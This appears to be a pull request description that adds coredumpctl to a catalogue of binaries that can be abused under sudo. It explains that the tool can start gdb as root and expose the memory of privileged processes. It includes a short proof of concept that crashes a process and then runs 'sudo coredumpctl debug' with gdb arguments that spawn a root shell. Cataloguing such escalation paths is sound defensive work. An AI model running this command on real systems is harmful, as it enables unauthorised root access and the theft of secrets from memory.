Add coredumpctl

[locaIhost]

Summary

Add coredumpctl this systemd utility manages process core dumps and can invoke a debugger (gdb/lldb) with elevated privileges. When allowed via sudo, it provides a reliable path to root shell escape and sensitive memory disclosure.

Why

sudo access to coredumpctl is effectively equivalent to root access because:

1. It can spawn a debugger (gdb) as root = Shell Escape
2. It can extract core dumps of privileged processes = Sensitive Data Exposure (passwords, keys, tokens in memory)

POC

yes > /dev/null & kill -6 $!
sudo coredumpctl debug --debugger-arguments="-batch -ex '! /bin/sh'"

Notes

1. Installed gdb on the system
2. sudo access to coredumpctl

Check list

1. Tested on Rocky Linux 10.1 and Ubuntu 24.04.4
2. Submitting vet and format